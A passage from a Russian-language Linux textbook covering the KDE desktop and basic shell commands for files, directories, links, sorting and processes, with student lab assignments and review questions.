Рис. 1.2.1.2.13. Создание новой ссылки на рабочем столе.

Кроме этой программы KDE включает в себя еще массу разнообразных приложений, общим числом более сотни.

Практическая работа №1(1) Изучение графического интерфейса ASP Linux.

Цель работы:

Познакомиться с пользовательским интерфейсом ASP Linux.

Научиться работать со справочной системой ASP Linux

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Какой графический интерфейс используется в ОС Linux?

Опишите составляющие части графического интерфейса и структуру главного меню KDE.

Вызовите Центр управления KDE. Какие возможности предоставляет Центр управления?

Измените фон рабочего стола, стиль оформления графических элементов, шрифты, для отображаемой информации.

Измените структуру главного меню: удалите пункт «Последние документы», включите опцию отображения скрытых файлов. Какие ещё изменения можно внести?

Назначьте для программы «Терминал» горячие клавиши.

Запустите утилиту настройки Рабочего стола, для этого выберите пункт меню «Настроить Рабочий стол…». Какие возможности предоставляет утилита? Измените настройки Рабочего стола. Какие изменения Вы внесли?

Откройте браузер Konqueor. Перейдите в корневой каталог диска. Какие файлы и папки расположены в корневом каталоге?

Вставьте в дисковод дискету и выполните операцию монтирования дискеты. Для выполнения операции монтирования модно воспользоваться контекстным меню либо утилитой монтирования для пользователей «KDE>Система>Управление дисками».

Просмотрите содержимое дискеты, для этого в браузере Konqueor перейдите в папку /mnt и выберите соответствующую подпапку fd01.

Выполните операцию размонтирование дискеты.

Отформатируйте вставленную дискету (дискета должна находиться в размонтированном состоянии), воспользовавшись утилитой Kfloppy. При форматировании задайте размер дискеты 1,2 Мб и файловую систему ext.

Отформатируйте вставленную дискету на 1,2 Мб, в качестве файловой системы задайте систему DOS, укажите начальную метку диска.

Просмотрите содержимое отформатированной дискеты.

Выполните быстрое форматирование дискеты. Чем отличается быстрое форматирование от полного?

Создайте на рабочем столе ссылку на Ваш личный каталог. Просмотрите свойства ссылки. Сравните свойства созданного ярлыка со свойствами элементов рабочего стола.

Завершите сеанс работы с системой

Практическая работа №1(2) Работа с поисковой системой

Цель работы:

Научиться осуществлять поиск файлов и папок в ОС Linux.

Научиться задавать маску файла для поиска.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux.

Запустите утилиту «Поиск файлов» в меню KDE.

Осуществите поиск в корневом каталоге всех файлов с расширениями txt.

Найдите на диске все графические файлы. Где они размещены?

Для поиска надо задать маску файлов. В маске разрешено использование символов «*» (заменяет любую последовательность символов) и «?» (заменяет один символ). Кроме маски обязательным является указание каталога, в котором будет произведен поиск файлов. Для поиска не только в указанном каталоге, но и во всех его подкаталогах, следует поставить галочку «Включая подкаталоги». Что бы произвести поиск во всем файловом пространстве надо указать «file:/» в качестве значения «Искать в…» и поставить галочку поиска в подкаталогах. В этом случае поиск пройдет не только по жестким дискам, но и по всем сменным.

Найдите файлы, которые были созданы на прошлой неделе.

Найдите файлы созданные в промежутке между текущей и прошедшей неделей.

Осуществите поиск файла на диске с учетом регистра букв.

Найдите файлы, размер которых не превышает 10 Кб, а так же файлы, размер которых составляет 1 Мб. Откройте найденный файлы для просмотра.

Завершите сеанс работы.

Контрольные вопросы:

Дайте определение понятию операционная система. Какие операционные системы Вы знаете?

Объясните понятия многозадачности и многопользовательскости.

Какие характеристики операционной системы (ОС) Linux вы знаете?

Что такое дистрибутив ОС? Какие дистрибутивы Linux Вы знаете?

Что означает понятие графический интерфейс? Какой графический интерфейс используется в Linux.

Какие графические среды Linux Вы знаете?

Опишите внешний вид графической среды KDE. В чем отличие графической оболочки OC Windows от среды KDE?

Опишите состав и структуру главного меню KDE. Какие утилиты, графические и текстовые программы входят в поставку КDE?

Что означает понятие ярлык? Как создать ярлык на рабочем столе?

Как осуществлять добавление и удаление панелей задач на рабочем столе?

Опишите способы создания папки?

Какие стандартные редакторы, позволяют создать текстовый документ?

Какова максимальная длина имени файла или папки в Linux?

Расскажите о способах открытия документов?

Как отобразить панель инструментов в окне программы Konqueor?

Опишите пиктограммы на панели инструментов программы Konqueor?

Какая информация отображается в строке состояния программы Konqueor?

Как определить размер папки в килобайтах?

С помощью какой клавиши можно перейти в «Родительскую папку»?

Как можно вызвать окно свойств объекта?

Способы упорядочения файлов в окне папки программы Konqueor?

Способы расположения и изменения размера значков файлов в окне папки?

Как установить автоматическое выравнивание значков файлов в программе Konqueor?

Как можно отменить последнюю выполненную команду?

Как переименовать файл или папку?

Как установить атрибуты файла?

Как скопировать файл из одной папки в другую?

Как переместить файл из одной папки в другую?

Как выделить в папке группу файлов, расположенных не подряд?

Как выделить сразу все объекты в папке?

Как снять выделение с одного или нескольких файлов, не отменяя выделение остальных?

Для чего используется команда Обновить в программе Konqueor?

Опишите способы удаления файлов и папок?

Опишите параметры настройки корзины?

Как найти файл на диске по его имени?

Объясните, для чего при поиске файла используются символы звездочка «*» и знак вопроса «?»?

Как найти файлы по дате создания?

Как восстановить удаленный файл?

В каком случае восстановление удаленных файлов невозможно?

В чем отличие ярлыка от пиктограммы?

Опишите способы создания ярлыка?

Как изменить значок ярлыка?

Раздел 2. Работа с терминалом ASP Linux

Тема 2.1. Работа с файлами и папками ASP Linux

Работа с системой Linux в текстовом режиме, т.е. с консоли или терминала, позволяет быстрее и удобнее выполнить многие действия в системе, по сравнению с графическим режимом. Даже находясь в графическом режиме, часто быстрее открыть окно эмулятора терминала, и выполнять необходимые действия в нем. Поскольку Linux — это многозадачная ОС, уже в текстовом режиме обеспечивается возможность работы в нескольких окнах. А для редактирования простого текста или html-файла вовсе не обязательно запускать достаточно тяжеловесную и медленную графическую оболочку.

Взаимодействие с пользователем организует специальная программа. Существует два вида таких программ — оболочка, или shell, для работы в текстовом режиме (интерфейс командной строки) и графический интерфейс пользователя GUI (Graphical User Interface), организующий взаимодействие с пользователем в графическом режиме.

Выполнение команд в shell

Одна из основных функций оболочки состоит в том, чтобы организовать исполнение команд пользователя, вводимых им в командной строке.

Формат команд в ОС LINUX следующий:

имя команды  [аргументы] [параметры] [метасимволы].

Имя команды может содержать любое допустимое имя файла; аргументы — одна или несколько букв со знаком минус (-); параметры — передаваемые значения для обработки; метасимволы интерпретируются как специальные операции.

Оболочка должна найти код команды, загрузить его в память, передать команде аргументы, заданные в командной строке, а после завершения выполнения соответствующего процесса передать каким-то образом пользователю или другому процессу результаты выполнения данной команды.

На первом этапе осуществляется поиск кода команды. Команды бывают встроенные (те, код которых включен в код самой оболочки) и внешние (код которых расположен в отдельном файле на диске). Для поиска внешней команды пользователь, должен указать оболочке полный путь до соответствующего файла. Однако оболочка может находить внешние команды в каталогах, которые перечислены в специально заданных «путях поиска». Только если она не находит нужных файлов в таких каталогах, она решает, что пользователь ошибся при вводе имени команды.

Для организации задания команд в командной строке оболочка предоставляет пользователю два специальных оператора: ; и &.

1) Оператор ;

Хотя чаще всего пользователь задает команды в командной строке по одной, имеется возможность задать в одной строке несколько команд, которые будут выполнены последовательно, одна за другой. Для этого используется специальный символ -оператор ;. Если не поставить этот разделитель команд, то последующая команда может быть воспринята как аргумент предыдущей. Таким образом, если написать в командной строке что-то вроде:

[user]$ command1 ; command2

то оболочка вначале запустит на выполнение команду command1, дождется, пока ее выполнение завершится, после чего запустит command2, дождется ее завершения, после чего снова выведет приглашение командной строки, ожидая следующих действий пользователя.

2) Оператор &

Оператор & используется для того, чтобы организовать исполнение команд в фоновом режиме. Если поставить значок & после команды, то оболочка вернет управление пользователю сразу после запуска команды, не дожидаясь, пока выполнение команды завершится. Например, если задать в командной строке «command1 & command2 &», то оболочка запустит команду command1, сразу же затем команду command2, и затем немедленно вернет управление пользователю.

2.1.1. Команды работы с каталогами

Понятие файла

Файл — единица информации, поименованный набор логически связанных данных (таблицы, программа, текст и пр.) Обращение к файлу по его уникальному имени (собственное имя файла), структура имени:

имя-файла[.тип]

Возможные расширения (типы) для текстовых файлов: txt, doc; графических файлов: bmp, jpg и т.д. В UNIX расширения имен, определяющие тип файла, не обязательны. Все файлы имеют собственные описатели (дескрипторы) и хранятся во внешней памяти. Физические адреса файлов на внешней памяти концентрируются в специальных файлах — каталогах.

Структура системы каталогов Linux

Строится в иерархической системе внешней памяти на блочных устройствах.

Оперциаонные системы ASP Linux и Windows

Оперциаонные системы ASP Linux и Windows

Рис. 2.1.1. Структура системных каталогов Linux

На рисунке 2.1.1. представлены следующие группы каталогов:

1 – коренной каталог системы (строится при инсталляции ОС)

2 – системные каталоги (инсталляция)

3 – каталоги группы пользователей (определяет администратор)

4 – головные (личные) каталоги пользователей (строятся при авторизации — HOME-каталоги)

5 – рабочие каталоги и файлы пользователей

Некоторые системные каталоги:

vmunix — ядро ОС;

bin — утилиты оболочки;

dev — файлы устройств;

tmp — адреса рабочих пространств памяти пользователей, выделяемых супервизором памяти ОС по запросам системных вызовов из программ пользователей;

etc — файлы администратора;

mnt — каталог монтирования новых файловых систем;

home — данные головных каталогов всех пользователей системы.

В UNIX как и в DOS используется простой способ описания пути к файлу в иерархической системе каталогов —

полное маршрутное имя файла (абсолютное маршрутное):

$ cat /home/user/lev/f1

относительные маршрутные имена файлов:

от головного каталога группы пользователей — user/lev/f1

от головного (личного) каталога пользователя — f1 или lev/f1

от текущего (рабочего в данный момент) каталога,

» . » — системное имя текущего каталога (скрытый файл)

» .. » — системное имя вышележащего каталога (скрытый файл).

Основные команды работы с каталогами

man название_команды  — вызов электронного справочника об указанной команде.

Например: man exit – выведет справку по команде exit.

Выход из справочника — нажатие клавиши Q.

Команда  man man  сообщает информацию о том, как пользоваться справочником.

Помимо справочника можно воспользоваться командой help. Для этого нужно набрать:

команда —help

Например: exit —help – выведет справку по команде exit.

cd имя_директории- смена текущего каталога. В качестве имени директории можно указывать элементы «.» и «..».

mkdir имя_директории — создание каталога. Вновь созданный каталог не содержит элементов, за исключением «.» (ссылка на текущий каталог) и «..» (ссылка на вышележащий каталог).

rmdir имя_директории — удаление каталога.

ls [-alrstu] [namedir] — вывод содержимого каталога; если в качестве namedir указано имя файла, то выдается вся информация об этом файле. Если аргумент не указан, выдается содержимое текущего каталога.

Значения некоторых аргументов:

— l — список включает всю информацию о файлах;

— F — добавление к имени каталога символа / и символа * к имени файла, для которых разрешено выполнение;

— a — в список включаются все файлы, в том числе и те, которые начинаются с точки;

— i — указать идентификационный номер каждого файла;

— R — рекурсивный вывод содержимого подкаталогов заданного каталога.

find список_каталогов условия_поиска —определение полных имен файлов в поддереве каталогов, удовлетворяющих заданным условиям поиска.

В команде может быть задано до 18 условий_поиска. Необходимые комбинации условий объединяются в булевское выражение с помощью элементарных логических операций (‘элементарных логических функций). Таким образом формируется логическая функция, принимающая истинное значение если значения всех её составляющих истины.

На экран выводятся полные маршрутные имена файлов, свойства которых обеспечивают истинность этой функции.

Элементарные логические функции:

! <условие> отрицание условия;

<пробел> соответствует операции «И»;

-o операция «ИЛИ»;

( выражение ) булевское выражение в скобках.

При описании команды используются обозначения:

n положительное десятичное число;

-n любое положительное десятичное число, строго меньшее n;

+n любое положительное десятичное число, строго большее n.

Условия задаются следующими опциями:

-name’имя_файла’ истинно для файлов с указанным именем.

-perm <8-ричный_код> истинно для файлов с указанным кодом прав доступа.

-type {f|d|b|c|p} истинно для файлов указанного типа.

-links n истинно для файлов с числом ссылок n.

-user <имя_пользователя> истинно для файлов, принадлежащих данному пользователю.

-size n[c] истинно для файлов с длиной n (число блоков) или с – в символах (байтах).

-exec <команда> {} ; истинно, если команда возвращает нулевой код завершения (true), т.е. опция выполняет <команда> для каждого найденного файла.

Все аргументы команды find разделяются пробелами.

Примеры использования команды find:

1) команда выводит на экран список файлов с именами fil или файлов у которых имя владельца petr:

find / —name “fil.*” –o –user petr –exec cat {} ;

2) поиск файлов, не являющихся директориями в текущем каталоге и его подкаталогах:

find * !-type d

3) команда осуществит поиск в корневом каталоге всех директорий, на которые существуют более трех жестких ссылок:

find / -type d -links +3

grep [-ключи] ‘шаблон’ <список_файлов> — поиск в файлах из списка_файлов строк, содержащих указанный шаблон (подстрока символов).

Ключи определяют режимы поиска и вывода:

-c выводятся имена всех просмотренных файлов и количество найденных строк, содержащих шаблон;

-n перед каждой строкой выводится ее относительный номер в файле и сама строка;

-i игнорируются регистры;

-l выводятся только имена файлов, содержащие найденные строки и др.

Например:

grep -c ‘aaa’ *

””””””””

f.1: 10

f.2: 3

f.3: 1

””””””””

В рассмотренном примере выводятся все имена файлов текущего каталога, содержащих подстроку aaa и количество таких строк в каждом из них.

В нижеследующем примере выводятся только имена файлов, содержащих строки с шаблоном aaa.

$ grep -n bbb * <NewLine>

””””””””””””””””””””””””””””

f.1: 5: aaaaaabbbbaaacc

f.2: 2: bbbbbbbbbbbbbbbbbbbb

f.6: 1: bbb

””””””””””””””””””””””””””””

Практическая работа №2(1) Основные команды работы с каталогами

Цель работы:

Изучить архитектуру и принципы функционирования многопользовательской многозадачной операционной системы Linux

Изучить основные команды работы с каталогами ОС Linux

Порядок выполнения работы

Изучаются команды:

mkdir — создание каталога;

rmdir — удаление каталога;

cd — перемещение по дереву каталогов;

pwd — определение текущего каталога;

ls — просмотр содержимого каталога;

more — постраничный вывод информации;

man — вызов руководства по команде.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Изучить команды работы с каталогами, для этого выведите на экран Терминала справку по следующим командам: pwd, mkdir, rmdir, cd, ls. Назначение и формат команд приведите в отчете.

Определите Ваш текущей каталог. Просмотрите его содержимое и приведите его в отчете.

Перейдите в каталог Вашей группы и создайте в нем личный каталог.

Определите уникальное имя (номер индексного указателя) Вашего личного каталога. Объясните структуру полного маршрутного имени каталога.

Создайте два поддерева из одного и из двух каталогов в каталоге Вашей группы. Используя команду ls, проверьте факт построения дерева подкаталогов.

Просмотрите содержимое пустых подкаталогов, т.е. новых подкаталогов, не содержащих файлов. Объясните их содержание.

Сделайте текущим последний каталог меньшего поддерева. Определите его полное маршрутное имя.

Уничтожьте все подкаталоги большего поддерева каталогов. Получите подтверждение выполнения команд.

Выведите на экран содержимое корневого каталога. Приведите его в отчете. Какие каталоги расположены в корневой директории, каково их назначение?

Завершите сеанс работы с системой.

Практическая работа №2(2) Поиск файлов в системе каталогов

Цель работы:

Изучить архитектуру и принципы функционирования многопользовательской многозадачной операционной системы Linux

Научиться осуществлять поиск файлов в системе каталогов

Порядок выполнения работы

Изучаются команды:

find — поиск файлов в системе каталогов

more — постраничный вывод информации;

man — вызов руководства по команде;

grep — поиск в файлах указанный шаблон;

еxit — выход из терминала;

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Изучить команды работы с каталогами, для этого выведите на экран Терминала справку по следующим командам: find, grep. Назначение и формат команд приведите в отчете.

Установите в качестве текущего HOME-каталог.

Найдите обычные файлы с определением их полных маршрутных имен.

Осуществите поиск файлов типа директория в Вашем личном каталоге.

Найдите в текущем каталоге все файлы, на которые имеются жесткие ссылки.

Найдите файлы блок-ориентированного типа из каталога /dev и его подкаталогов.

Осуществите поиск обычных файлов на диске, размер которых не превышает 2 Кб.

Задайте различные комбинации известных Вам условий поиска файлов и каталогов.

Выведите на экран принадлежащую Вам регистрационную запись с использованием команды grep.

Завершите сеанс работы с системой.

2.1.4. Команды работы с файлами: управление файлами, генерация имен файлов

Управление файлами

Ниже приведены форматы команд, использующихся для управления файлами:

>маршрутное-имя-файла — создание пустого файла.

cat имя-файла  — вывод содержимого файла на экран.

cat>имя-файла  — перенаправление информации, вводимой с клавиатуры с заменой содержимого файла.

cat [входной файл 1] [входной_файл2] […входной файл N] > [выходной_файл] — слияние файлов

grep [-ключи] ‘шаблон’ <список_файлов> -поиск в файлах из списка_файлов строк, содержащих указанный шаблон (подстрока символов).

Ключи определяюobt режимы поиска и вывода:

-c выводятся имена всех просмотренных файлов и количество

найденных строк, содержащих шаблон;

-n перед каждой строкой выводится ее относительный номер в

файле и сама строка;

-i игнорируются регистры;

-l выводятся только имена файлов, содержащие найденные строки и др.

touch [-k] имя-файла — замена времени модификации на текущее, если файл не существует, то создается новый пустой файл. Команда может использоваться для создания новых пустых файлов, если указать имя несуществующего файла.

wc [-lwc] список_файлов — подсчет количества строк (-l), слов (-w), или символов (-c) в указанных файлах.

cp [-k] вх_файл_1 [вх_файл_2 [… вх_файл_n]] вых_файл – копирование файлов.

В самом формате команды заложено два режима ее использования:

1-й: Если вых_файл — обычный файл, то вх_файл может быть только один; в этом случае содержимое вх_файла копируется в вых_файл. Если вых_файл существовал, то его содержимое полностью заменяется на новое, атрибуты защиты сохраняются. Если создается новый вых_файл, то ему присваиваются атрибуты копируемого.

2-й: Если вых_файл — каталог, то в него последовательно копируются все указанные вх_файлы со своими атрибутами и именами, но каталог при этом автоматически не создается.

Примеры использования команды cp:

Создается новый файл FIL.c в том же текущем головном каталоге. Для копирования в другой каталог необходимо указать маршрутное имя выходного файла:

cd

cp fil.c FIL.c

Входной файл fil.c сохраняется в исходном текущем каталоге:

mkdir petr

mkdir lev1

cp fil.c lev1/prog.c

Групповые операции над файлами при копировании:

cp f.? fildir

cp f.[1-3] fildir

cp f.[123] fildir

mv [-k] вх_ф йл_1 [вх_ф йл_2 [… вх_ф йл_n]] вых_файл — перемещение или переименование файлов

Отличия от предыдущей команды копирования заключаются в том, что перемещаемые файлы в исходном каталоге уничтожаются.

Генерация имен файлов и каталогов (Pathname Expansion)

Подстановки имен путей и файлов (Pathname expansion) используются для того, чтобы с помощью краткого образца или шаблона указать несколько имен файлов (или каталогов), соответствующих данному шаблону.

Специальные символы шаблонов имеют следующее значение.

Таблица 2.1.4. Символы шаблонов

Символ

Правила замены

*

Соответствует произвольной строке символов, включая пустую строку. Например, my*.txt будет заменено на myday.txt, myweek.txt и mymonth.txt (если такие файлы существуют), а *.jpg соответствует всем файлам с расширением jpg в указанном каталоге
?

Соответствует любому одиночному символу. Например, вместо шаблона file?.txt будут подставлены имена file1.txt и filex.txt, но не file10.txt
[…]

Соответствует любому символу из числа символов, указанных в скобках. Пары символов, разделенные знаком минуса, обозначают интервал; любой символ стоящий лексически между этими двумя символами, включая и символы, задающие интервал, соответствует шаблону. Если первым символом внутри скобок является ! или ^, то считается, что шаблону (в данной позиции) соответствуют все символы, не указанные в скобках

Шаблоны имен файлов очень часто применяются в командных строках, содержащих команду ls. Представьте себе, что вы хотите просмотреть информацию о содержимом каталога, в котором находится огромное количество разных файлов различных форматов, например, файлов с изображениями форматов gif, jpeg, avi и т. д.. Чтобы получить только список файлов формата jpeg, вы можете использовать команду

[user]$ ls *.jpg

Если в каталоге имеется множество файлов, имена которых представлены четырехзначными номерами, то следующей командой можно вывести только список файлов с номерами от 0200 до 0499:

[user]$ ls -l 0[2-4]??.*

Практическая работа №3(1). Команды управления фалами

Цель работы:

Изучить основные команды работы с файлами ОС Linux

Научиться создавать, объединять, удалять, переименовывать файлы.

Порядок выполнения работы

Изучаются команды:

cat — слияние и вывод файлов на стандартное устройство вывода(конкатенация файлов);

rm — удаление файла;

mv — переименование файла;

сp — копирование файлов;

wc — подсчет количества строк и слов в файле.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Изучите команды работы с файлами, для этого выведите на экран Терминала справку по следующим командам: cat, rm, mv, cp, wc. Назначение и формат команд приведите в отчете.

Перейдите в Ваш личный каталог и выведете на экран его содержимое.

Создайте 3-4 текстовых файла с частично совпадающими именами. Проанализируйте значения атрибутов Ваших файлов.

Создайте еще один файл методом слияния из существующих. Как изменились атрибуты нового файла?

Создайте два новых параллельных подкаталога.

В один подкаталог скопируйте имеющиеся файлы HOME-каталога с изменением имен, а в другой – переместите. Проанализируйте как изменилось содержание всех трех каталогов и каковы атрибуты всех полученных файлов.

Удалите созданные текстовые файлы и каталоги. Выйдите из программы Терминал.

Практическая работа №3(2) Использование шаблонов в именовании файлов

Цель работы:

Изучить понятие шаблона, способы задания шаблонов файлов

Научиться осуществлять просмотр директорий, копирование, удаление, и поиск файлов, используя шаблоны файлов.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Осуществите поиск всех файлов в домашнем каталоге, которые имеют расширение txt.

Осуществите поиск директорий, в составе имени которых, имеется любой однозначное число.

Осуществите в корневом каталоге поиск всех файлов, содержащих в составе имени слово linux.

Создайте в Вашем личном каталоге структуру каталогов, содержащих совпадающие имена.

Просмотрите содержимое файлов домашнего каталога с частично совпадающими именами с использованием механизма генерации имен файлов.

Просмотрите содержимое файлов каталога /dev с частично совпадающими именами с использованием механизма генерации имен файлов.

С использованием механизма генерации имен файлов слейте содержимое всех файлов в один и поместите его в HOME-каталог. Проанализируйте содержание файла.

С использованием механизма генерации имен файлов слейте содержимое всех файлов в один и поместите его в HOME-каталог. Проанализируйте содержание файла.

С использованием механизма генерации имен скопируйте из Вашего личного каталога все файлы с частично совпадающими именами в домашний каталог.

С использованием механизма генерации имен удалите в Вашем личном каталоге все файлы с частично совпадающими именами.

С использованием механизма генерации имен удалите в Вашем личном каталоге все каталоги с частично совпадающими именами.

Удалите из домашнего каталога скопированные ранее файлы и завершите работу с программой Терминал.

2.1.7. Команды работы с файлами: ссылки, сортировка файлов

ln [-ключ] вх_файл_1 [вх_файл_2 [… вх_файл_n]] вых_файл — организация новых ссылок на файл.

В формате команды заложено 2 режима ее использования:

1-й: Если вых_файл — обычный файл, то допускается только один вх_файл_1; в этом случае на н равным именам: вх_файл_1 и вых_файл.

Количество ссылок на файл в его описателе увеличивается на 1.

2-й: Если вых_файл — каталог, то в нем создаются элементы, включающие имена перечисленных в команде входных файлов и ссылки на них, после чего в каталоге вых_файл можно работать с этими файлами, как с файлами этого каталога.

Возможно создание символьных и жестких ссылок.

При создании жесткой ссылки ключ в команде не указывается. Символьная ссылка создается командой ln с ключом s. Символьная ссылка ссылается на полное имя файла, жесткая – на его инод (числовой номер, присеваемый файлу при его создании).

Обобщение свойств команды ln при создании жесткой ссылки:

каждая ссылка на входной файл добавляет +1 к числу ссылок входного файла, после чего к упомянутому файлу можно обращаться по двум именам;

все связанные файлы имеют совпадающие описатели в каталогах;

если изменяется содержимое одного из связанных файлов, то меняется содержимое всех связанных файлов, т.к. связанные файлы разделяют одни и те же данные на диске;

если удалить один из связанных файлов, то сокращается число взаимных ссылок на -1.

ls [-alrstu] [namedir]  — вывод содержимого каталога; если в качестве namedir указано имя файла, то выдается вся информация об этом файле. Если аргумент не указан, выдается содержимое текущего каталога.

Значения некоторых аргументов:

— t — сортировка по времени модификации файлов;

— v — сортировка файлов по времени последнего доступа;

— с — использовать время создания файла при сортировке;

— s — размеры файлов указываются в блоках;

sort [-k номер-поля-в-строке] [список-файлов] — алфавитная и числовая сортировка файлов или строк файлов; режим сортировки определяется ключами. Команда многофункциональная, предусматривает много режимов сортировки. Некоторые ключи команды:

-d — сортировка по алфавиту (или по умолчанию);

-n — числовая;

-u — исключает повторяющиеся строки и т.д.

Практическая работа №3(3) Создание ссылок на файлы.

Цель работы:

Изучить понятие ссылки на файл.

Научиться создавать жесткие и символьные ссылки на файлы.

Порядок выполнения работы

Изучаются команды:

ln — создание ссылки на файл;

ls — просмотр атрибутов файла.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: ln, ls. Назначение и формат команд приведите в отчете.

Перейдите в Ваш личный каталог и создайте в нем текстовый файл и любой подкаталог.

Создайте жесткую ссылку с другим именем в созданном подкаталоге на созданный файл. Проанализируйте и сравните все атрибуты связанных файлов. Объясните отличия.

Уничтожьте один из связанных файлов. Проанализируйте и сравните все атрибуты связанных с ним файлов. Объясните изменения.

Просмотрите содержание связанных файлов. Каков был результат просмотра?

Создайте символьную ссылку с другим именем в созданном ранее подкаталоге. Проанализируйте и сравните все атрибуты связанных файлов. Объясните отличия.

Создайте новый подкаталог в Вашем личном каталоге.

Создайте ссылки на несколько файлов, принадлежащих одному из каталогов домашней директории, в созданном ранее каталоге одной командной строкой. Проанализируйте и сравните все атрибуты связанных файлов. Объясните отличия.

Завершите работу с программой Терминал.

Практическая работа №3(4) Сортировка файлов

Цель работы:

Научиться сортировать отображаемую информацию при просмотре директории.

Научиться осуществлять сортировку данных в файле.

Порядок выполнения работы

Изучаются команды:

sort — сортировка файлов;

ls — просмотр содержимого каталога;

touch — замена времени модификации файла на текущее.

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Выведите на экран Терминала справку по следующим командам: sort, touch. Назначение и формат команд приведите в отчете.

Просмотрите содержимое корневого каталога с выводом размеров файлов, содержащихся в директории, в блоках.

Упорядочите по алфавиту строки суммарного файла HOME-каталога.

Просмотрите содержимое любой директории отсортировав отображаемую информацию по времени последнего доступа к файлу.

Обновите временные характеристики одного из существующих файлов. Проанализируйте результат.

Просмотрите содержимое директории, содержащей файл с обновленными временными характеристиками отсортировав его по времени модификации файлов

Обновите временные характеристики несуществующего файла. Проанализируйте результат работы команды.

Просмотрите содержимое директории, содержащей созданный файл, используя сортировку по времени создания файла

Проанализируйте с использованием команды history содержание лабораторной работы, продумайте ответы на нижеприведенные контрольные вопросы и сдайте выполненную работу преподавателю.

Контрольные вопросы:

Какие системные имена каталогов Вам известны?

Каким образом можно построить отдельный каталог или цепочку каталогов?

Для чего и каким образом переопределяются текущие каталоги?

Как обратиться к файлам параллельных ветвей дерева

каталогов? К вышележащему каталогу?

Какие условия поиска файлов Вы знаете? Как комбинируются условия поиска? Как осуществить поиск по дереву каталогов?

Какова последовательность действий при удалении одного каталога? Цепочки каталогов?

Объясните назначение и содержание каждого поля каталога.

Как отличить по содержимому каталога типы файлов, содержащихся в Ваших каталогах.

Какую информацию содержит «пустой» вновь созданный каталог?

Как осуществить поиск файлов в системе каталогов по фрагментам текста файлов?

Назовите известные Вам способы создания пустых файлов.

Как создать текстовый файл?

Какие возможности сокращения записи имен файлов Вы знаете с использованием механизма генерации имен файлов?

Какие три команды этой лабораторной работы можно использовать для переименования файлов? Как в этом случае надо использовать команды?

Какими способами можно объединить несколько текстовых файлов в один?

В чем разница работы команд cp и mv?

Сколько ссылок можно создать на единственный файл из разных каталогов?

Как создать несколько ссылок с совпадающими именами на несколько файлов в другом каталоге?

Какое соответствие атрибутов имеют связанные между собой файлы?

На какой атрибут и как влияет удаление одного из связанных файлов?

Как отражается на содержимом связанных файлов изменение содержания одного из них и почему?

Какими возможностями обладает команда sort?

Тема 2.2. Управление процессами

2.2.1. Управление процессами

Отображение информации о процессах

В Linux (как и во всех UNIX-системах) имеется команда ps, которая позволяет определить, какие процессы в системе запущены. Если ее запустить без всяких параметров, то она выдает список процессов, запущенных в текущей сессии.

ps [-опции] – определение запущенных в системе процессов

Краткая характеристика наиболее важных опций:

— ax — список всех процессов, запущенных в системе;

–u – отображение % ЦПУ и памяти занимаемых запущенными процессами;

–l – длинный формат отображения информации о процессах (с выводом приоритета процесса и значениния nice)

Независимо от наличия опций команда ps выдает для каждого процесса отдельную строку, но содержимое этой строки может быть разным. В зависимости от заданных опций могут присутствовать следующие поля:

USER — имя владельца процесса;

PID — идентификатор процесса в системе;

PPID — идентификатор родительского процесса;

%CPU — доля времени центрального процессора (в процентах), выделенного данному процессу;

%MEM — доля реальной памяти (в процентах), используемая данным процессом;

VSZ — виртуальный размер процесса (в килобайтах);

RSS — размер резидентного набора (количество 1K-страниц в памяти);

STIME — время старта процесса;

TTY — указание на терминал, с которого запущен процесс;

S или STAT — статус процесса;

PRI — приоритет планирования;

NI — значение nice (см. описание команды nice ниже);

TIME — сколько времени центрального процессора занял данный процесс;

CMD или COMMAND — командная строка запуска программы, выполняемой данным процессом;

а также и другие поля, полный список которых приведен на man-странице, посвященной команде ps.

В поле Статус процесса могут стоять следующие значения:

R — выполнимый процесс, ожидающий только момента, когда планировщик задач выделит ему очередной квант времени;

S — процесс «спит»;

D — процесс находится в состоянии подкачки на диске;

T — остановленный процесс;

Z — процесс-зомби.

Рядом с указателем статуса могут стоять дополнительные символы из следующего набора:

W — процесс не имеет резидентных страниц;

< — высоко-приоритетеный процесс;

N — низко-приоритетный процесс;

L — процесс имеет страницы, заблокированные в памяти.

Например, результат выполнения нижеприведенной команды показал, что в системе работали на момент снятия данных два процесса sh (с идентификатором 927, идентификатор процесса предка — 1) и ps (с идентификатором 1001, идентификатор процесса предка – 927, т.е. sh порождает процесс ps). Терминалы с которых запущены процессы – tty5.

ps -flu lev

PID PPID TTY PRI TIME CMD

927 1 tty5 0:04 sh

1001 927 tty5 0:02 ps

Для вывода листинга процессов, принадлежащих пользователю можно воспользоваться конструкцией:

ps -f|grep <имя_пользователя>.

Команда top

Команда ps позволяет сделать как бы «моментальный снимок» процессов, запущенных в системе. В отличие от ps команда top отображает состояние процессов и их активность «в реальном режиме времени». На рисунке 2.2.1. изображено окно терминала, в котором запущена программа top.

Оперциаонные системы ASP Linux и Windows

Рис. 2.2.1. Вывод команды top

В верхней части окна отображается астрономическое время, время, прошедшее с момента запуска системы, число пользователей в системе, число запущенных процессов и число процессов, находящихся в разных состояниях, данные об использовании ЦПУ, памяти и свопа. А далее идет таблица, характеризующая отдельные процессы. Число строк, отображаемых в этой таблице, определяется размером окна: сколько строк помещается, столько и выводится. Графы таблицы обозначены так же, как поля вывода команды ps. Содержимое окна обновляется каждые 5 секунд.

Приоритеты, значение nice и команда renice

Приоритет для каждого процесса устанавливается в тот момент, когда процесс порождается. Приоритет процесса определяется так называемым «значением nice», которое лежит в пределах от +20 (наименьший приоритет, процесс выполняется только тогда, когда ничто другое не занимает процессор), до -20 (наивысший приоритет).

Значение nice устанавливается для каждого процесса в момент порождения этого процесса и при обычном запуске команд или программ принимается равным приоритету родительского процесса. Но существует специальная команда nice, которая позволяет изменять значение nice при запуске программы. Формат использования этой программы:

nice [- adnice] command [args]

